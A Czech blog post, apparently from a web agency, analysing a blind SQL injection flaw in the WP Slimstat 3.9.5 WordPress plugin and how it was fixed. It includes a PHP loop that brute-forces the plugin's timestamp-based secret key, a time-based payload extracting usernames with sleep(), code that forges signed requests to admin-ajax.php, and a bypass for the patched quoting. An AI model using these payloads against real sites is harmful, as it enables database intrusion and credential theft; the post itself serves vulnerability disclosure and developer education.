Zavolat Další kontakty >
E-mail Kontakty

Zranitelnost ve Wordpress pluginu WP Slimstat 3.9.5

Objevila se zajímavá bezpečnostní chyba v pluginu WP Slimstat, který je dle statistik na Wordpress.org velmi oblímeným pluginem pro statistiky. Chyba umožňuje provést blind SQL injection.

Útok provedený přes plugin WP Slimstat není přímočarý a je složen z několika kroků, což naštěstí zabraňuje masivnímu útoku jednoduchých botů. Osobně si nejsem příliš jistý použitelností pluginu, když mnohem lepší statistiky poskytuje Google Analytics, počty stažení (více než 1,3 milionu) však říkají něco jiného. Informace o zranitelnosti s analýzou problému vyšly na Sucuri Blogu, z toho článku částečně vycházím.

Jádro problému je v použití velmi jednoduchého "tajného klíče" pro podepisování požadavků a následně vysoká důvěra k takto podepsaným požadavkům.

Při aktivaci pluginu se vygeneruje klíč a uloží do nastavení slimstat_options v tabulce prefix_options, je vygenerován následovně

'secret' => md5(time())

Jedná se o pouhý md5 hash z timestampu data aktivace (na mém testu má hodnotu 03bb885f378cd58013f3163a2745cc47).

Pokud se podíváte do zdrojového kódu stránky, ve které je měřící kód, můžete nalézt následující skript:

Od pohledu kód vypadá jako zakódovaný řetězec base64 spojený tečkou s jiným md5 hashem. Ve zdrojovém kódu pluginu se můžeme podívat, jak je tomu ve skutečnosti.

Poslaný parametr "ci" je zde rozložen tečkou na 2 části - zaslaná data a hash $nonce, který se testuje jestli odpovídá řetězci vytvořenému z md5 samotných dat, ke kterým je přiložen "tajný klíč". Data jsou tedy podepsána tak, že se k nim jednoduše za tečku přidá kontrolní součet. Samotná data jsou base64 řetězec, který když dekóduji, tak dostanu jednoduché serializované pole s údaji o návštěvě:

a:2:{s:12:"content_type";s:4:"home";s:8:"category";s:0:"";}

Pokud bych tedy uhádl tajný klíč, tak jsem schopen pluginu posílat libovolná data.

Jak uhádnout klíč?

Hrubé dešifrování md5 by bylo velmi náročné, protože zakódovaný řetězec je velmi dlouhý. Víme však, že "klíč" je datum aktivace pluginu ve tvaru celého čísla. Musíme tedy odhadnout, kdy byl plugin aktivován. Určitě budete souhlasit s tím, že běžné chování správce webu je takové, že stáhne a nainstaluje plugin a poté jej hned aktivuje. Můžeme tedy zkusit zjistit datum instalace pluginu tím, že se podíváme do hlaviček některého ze statických souborů např. /wp-content/plugins/wp-slimstat/readme.txt:

Nyní víme, že byl plugin pravděpodobně nahrán 26.2. v 7:43 našeho času. Provedeme tedy test, kdy budeme zkoušet timestampy v následujících 5 minutách, kdy k aktivaci mohlo dojít - od 1424932990 do 1424933290:

for($i=1424932990;$i<1424933290;$i++){

    if(md5("YToyOntzOjEyOiJjb250ZW50X3R5cGUiO3M6NDoiaG9tZSI7czo4OiJjYXRlZ29yeSI7czowOiIiO30=".md5($i))
    =="638e7b1074271f8ddf73de4ebbcea576"){

        echo "secret = ".$i;

        break;

    }

}

Tento primitivní skript zjistil, že tajný klíč je 1424933150 (26.2. 7:45:50), máme tedy již všechny informace k vytváření vlastních autorizovaných dotazů.

Část druhá - neošetření vstupů

Podíváme se nyní na očištěný kód samotného ukládání záznamů do databáze:

 public static function slimtrack($_argument = ''){

        // Information about this resource

        $content_info =  unserialize(base64_decode(self::$data_js['ci']));

        // Now let's save this information in the database

        self::maybe_insert_row($content_info, $GLOBALS['wpdb']->base_prefix.'slim_content_info',
        'content_info_id', array());

        }

    public static function maybe_insert_row($_data = array(), $_table = '',
    $_id_column = '', $_not_unique = array()){

        $select_sql = "SELECT $_id_column FROM $_table WHERE ";

        $data = array_diff($_data, $_not_unique);

        foreach ($data as $a_key => $a_value){

            $select_sql .= "$a_key = %s AND ";

        }

        $select_sql = self::$wpdb->prepare(substr($select_sql, 0, -5), $data);

        $id = self::$wpdb->get_var($select_sql);

    }

Je zde vidět, že funkce prochází jednotlivé části zaslaného pole a skládá z nich SQL dotaz. Injekci ztěžuje wpdb->prepare, která escapuje uvozovky, nicméně v lze napadnout jméno sloupce, který je vepsán napřímo. Skript také očekává hodnotu res (v ukázce to vidět není), která posílá na jaké stránce aktuálně jsme, nějakou si vymyslíme a zakódujeme ji do base64 (např. / tedy Lw==).  Můžeme si tedy připravit "payload", který se může díky time based Blind SQL injection ptát databáze na různé otázky:

(SELECT IF (SUBSTRING(user_login,1,1) ='a' ,sleep(5) ,0) FROM wp_users LIMIT 1)

Tento příkaz způsobí 5 vteřinové zpoždění v případě, že je první písmenko jména prvního nalezeného uživatele 'a'. Pokud je to pravda, zpozorujeme několikavteřinovou odezvu, pokud ne, bude dotaz vykonán běžnou rychlostí. Takto můžeme postupně z databáze vyčíst cokoliv chceme.

Vytvoříme si tedy potřebný řetězec, který následně pošleme na adresu /wp-admin/admin-ajax.php společně s dalším parametrem action=slimtrack_js

$payload="(SELECT IF (SUBSTRING(user_login,1,1) ='a' ,sleep(5) ,0) FROM wp_users LIMIT 1)";

$data=serialize(array($payload=>"1"));

$enc_data=base64_encode("ci=".base64_encode($data).".".md5(base64_encode($data).md5("1424933150")).
"&res=Lw==");

echo $enc_data;

Výsledný dotaz, který se nám podařilo vykonat, vypadá takto:

SELECT content_info_id FROM wp_slim_content_info WHERE (SELECT IF (SUBSTRING(user_login,1,1) ='a' ,sleep(5) ,0) FROM wp_users LIMIT 1) = '1'

Podobným mechanizmem jsou ukládána i data o prohlížeči. Je možné, že by se podařilo najít vektor, kdy by šla SQL injection provést i pomocí zfalšování identifikace prohlížeče (i toto lze považovat za uživatelský vstup).

Jak byla chyba opravena?

Bylo změněn princip generování klíče, takže již není snadné ho odhadnout, což je hlavní a podstatná změna:

'secret' => wp_hash(uniqid(time(), true)),

Dále bylo upraveno generování SQL dotazu, kdy byla pole doplněna o uvozovky, takže jsou jména sloupců opravdu brány jako názvy. Nicméně i to lze při troše snahy obejít (např. content_id`=1 OR (SELECT IF (SUBSTRING(user_login,1,1) ='a' ,sleep(5) ,0) FROM wp_users LIMIT 1) OR `content_id).

Poučení pro vývojáře

Většinou nemá smysl vymýšlet vlastní bezpečnostní mechanizmy, když existují standardizovaná řešení. K ošetřování vstupů je dobré používat funkce k tomu určené (např. mysqli_real_escape_string pro data používaná v SQL dotazech).

Pokud je pro vás bezpečnost Vašeho Wordpress webu důležitá a nechcete se o ni starat sami, můžete nás poptat na správu a aktualizace Wordpressu.

Pro zdokonalení vaší práce s Wordpressem můžete také přijít na konferenci Wordcamp Praha 2015, která se koná 28.2. v Praze.

Komentáře (1)

Přidat komentář

napsáno 11. 4. 6:46
Komentáře